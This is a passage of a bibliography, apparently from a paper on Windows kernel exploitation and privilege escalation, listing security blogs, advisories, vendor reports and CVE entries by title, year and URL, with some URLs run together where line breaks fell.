- [30] Fluid Attacks Security Research, "HEVD: kASLR + SMEP Bypass Demonstration," 2025. [Online]. Available: <https://fluidattacks.com/blog/hevd-sme-p-bypass>
- [31] OffSec Security, "Development of a New Windows 10 KASLR Bypass (in One WinDbg Command)," 2020. [Online]. Available: <https://www.offsec.com/blog/developmentof-a-new-windows-10-kaslr-bypass-in-one-windbg-command/>
- [32] Core Security, "Windows SMEP Bypass," 2020. [Online]. Available: https://www.coresecurity.com/sites/default/files/2020-06/Windows%20SMEP%20bypass%20U%20equals%20S_0.pdf
- [33] Silverfort Security Research, "CVE-2025-60704: Windows Kerberos CheckSum Vulnerability-Critical Domain Compromise," 2025.
- [34] Microsoft Security Updates, "CVE-2024-20674: Windows Kerberos Security Feature Bypass-Critical Rating," 2025.
- [35] Microsoft Security Bulletin, "MS16-014: Important Security Update," 2016. [Online]. Available: <https://learn.microsoft.com/en-us/securityupdates/s/securitybulletins/2016/ms16-014>

- [36] JumpCloud Security, "What is the Local Security Authority (LSA)?," 2025. [Online]. Available: <https://jumpcloud.com/it-index/what-is-the-local-securityauthority-lsa>
- [37] Lepide Security, "Why You Should Enable LSA Protection: Protected Process Light (PPL) Mechanisms," 2025. [Online]. Available: <https://www.lepide.com/blog/whyyou-should-enable-lsa-protection/>
- [38] Rackspace Security Documentation, "Windows LSA Spoofing Vulnerability CVE-2022-26925," 2022. [Online]. Available: <https://docs.rackspace.com/docs/windowslsa-spoofing-vulnerability-cve-2022-26925>
- [39] Team Hydra Security Research, "Bypassing Credential Guard: Memory Patching Techniques," 2020. [Online]. Available: <https://teamhydra.blog/2020/08/25/bypassingcredential-guard/>
- [40] Elastic Security, "How Attackers Abuse Access Token Manipulation (ATT&CK T1134)," 2025. [Online]. Available: <https://www.elastic.co/blog/how-attackersabuse-access-token-manipulation>
- [41] S. El-Sherei, "Demystifying Windows Kernel Exploitation," *DEF CON 25*, 2017.
- [42] Google Security Research, "Identifying and Exploiting Windows Kernel Race Conditions," 2013. [Online]. Available: <https://research.google.com/pubs/archive/42189.pdf>
- [43] SocPrime Threat Intelligence, "CVE-2024-1086: Critical Privilege Escalation in Kernel Memory Management," 2025. [Online]. Available: <https://socprime.com/blog/cve-2024-1086-vulnerability/>
- [44] PCUnlocker Development Team, "PCUnlocker: UEFI Exit Boot Services Hook Implementation," 2024.
- [45] Kon-Boot Development Team, "Kon-Boot: Legacy Int 13h Hook & UEFI Shim Implementation," 2024.
- [46] CrowdStrike Falcon Labs, "CrowdStrike Falcon Prevents Vulnerable Driver Attacks," 2024. [Online]. Available: <https://www.crowdstrike.com/enus/blog/falcon-prevents-vulnerable-driver-attacks-real-world-intrusion/>
- [47] Red Canary Threat Detection, "OS Credential Dumping-Threat Detection Report & Techniques," 2025. [Online]. Available: <https://redcanary.com/threatdetection-report/techniques/os-credential-dumping/>
- [48] Trend Micro Security Research, "An In-Depth Look at Windows Kernel Threats," 2020. [Online]. Available: https://documents.trendmicro.com/assets/white_papers/wpan-in-depth-look-at-windows-kernel-threats.pdf
- [49] Apriorit Security, "Mitigate DLL Injection Attacks: Defense Mechanisms," 2025. [Online]. Available: <https://www.apriorit.com/dev-blog/secure-windowssoftware-against-dll-attacks>
- [50] SentinelOne Labs, "Case Study: Why You Shouldn't Trust NTDLL from Kernel Image Load Callbacks," 2021. [Online]. Available: <https://www.sentinelone.com/labs/casestudy-why-you-shouldnt-trust-ntdll-from-kernel-image-load-callbacks/>
- [51] CVE Details Database, "CVE-2025-62215: Windows Kernel Elevation of Privilege," 2025. [Online]. Available: <https://www.cvedetails.com/cve/CVE-202562215/>
- [52] Fortiguard IPS Encyclopedia, "MS.Windows.CVE-2025-62215.Privilege.Elevation," 2025. [Online]. Available: <https://fortiguard.fortinet.com/encyclopedia/ips/59383>
- [53] HelpNetSecurity, "Patch Tuesday Microsoft CVE-2025-62215," 2025. [Online]. Available: <https://www.helpnetsecurity.com/2025/11/12/patch-tuesdaymicrosoft-cve-2025-62215/>
- [54] TheHackerNews, "Microsoft Fixes 63 Security Flaws, Including Windows Kernel Zero-Day," 2025. [Online]. Available: <https://thehackernews.com/2025/11/microsoftfixes-63-security-flaws.html>
- [55] CVE Details, "MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers," 2025. [Online]. Available: <https://www.cvedetails.com/microsoft-bulletin/MS13053/>
- [56] CVE Details, "MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow RCE," 2025. [Online]. Available: <https://www.cvedetails.com/microsoftbulletin/MS15-051/>
- [57] CVE Details, "MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers," 2025. [Online]. Available: <https://www.cvedetails.com/microsoft-bulletin/MS13101/>
- [58] HackingArticles, "Windows Privilege Escalation: Kernel Exploit," 2025. [Online]. Available: <https://www.hackingarticles.in/windows-privilege-escalation-kernelexploit/>
- [59] HackingArticles, "Credential Dumping: SAM," 2025. [Online]. Available: <https://www.hackingarticles.in/credential-dumping-sam/>
- [60] InfoSecWriteups, "Escalation of Windows Privilege: Kernel Exploit," 2022. [Online]. Available: <https://infosecwriteups.com/escalation-of-windows-privilegekernel-exploit-bddda00c1ab2>
- [61] TroventIO Security, "Breaking Into the Windows Kernel: A Deep Dive into Exploitation," 2025. [Online]. Available: <https://trovent.io/en/windows-kernelexploitation/>

- [62] NetworkIntelligence AI, “Windows Kernel Exploitation,” 2025. [Online]. Available: <https://www.networkintelligence.ai/blogs/windows-kernel-exploitation/>
- [63] Compass Security, “Windows Access Tokens: From Authentication to Exploitation,” 2025. [Online]. Available: https://www.compass-security.com/fileadmin/Research/Presentations/2025_07_Windows_Access_Tokens_From_Authentication_To_Exploitation...
- [64] EvsinC33 Security Blog, “Windows Access Tokens: Getting SYSTEM and Demystifying Potato Exploits,” 2022. [Online]. Available: <https://eversinc33.com/2022/11/25/windowsaccess-tokens-getting-system-and-demystifying-potato-exploits>
- [65] Snyk Security Blog, “Kernel Privilege Escalation,” 2020. [Online]. Available: <https://snyk.io/blog/kernel-privilege-escalation/>
- [66] HelpNetSecurity, “Immersive Labs: Patch Tuesday November 2025 Analysis,” 2025. [Online]. Available: <https://www.immersivelabs.com/resources/c7blog/patch-tuesday-november-2025...>
- [67] Picus Security, “MITRE ATT&CK T1003: Credential Dumping,” 2020. [Online]. Available: <https://www.picussecurity.com/resource/blog/picus-10-criticalmitre-attck-techniques-t1003-credential-dumping>
- [68] Picus Security, “Microsoft Active Directory Domain Services CVE-2025-21293 Vulnerability Explained,” 2025. [Online]. Available: <https://www.picussecurity.com/resource/blog/microsoftactive-directory-domain-services-cve-2025-21293-vulnerability-explained>
- [69] CyberSRCC, “Privilege Escalation Flaw Found in Windows Active Directory Domain Services,” 2025. [Online]. Available: <https://cybersrcc.com/2025/04/11/privilegeescalation-flaw-found-in-windows-active-directory-domain-services/>
- [70] Fortinet Threat Research, “CVE-2020-0796: Memory Corruption Vulnerability in Windows 10 SMB Server,” 2020. [Online]. Available: <https://www.fortinet.com/blog/threatresearch/cve-2020-0796-memory-corruption-vulnerability-in-windows-10-smbserver>
- [71] Security.com Threat Intelligence, “Ransomware Attackers Leveraged Privilege Escalation Zero-Day,” 2025. [Online]. Available: <https://www.security.com/threatintelligence/play-ransomware-zero-day>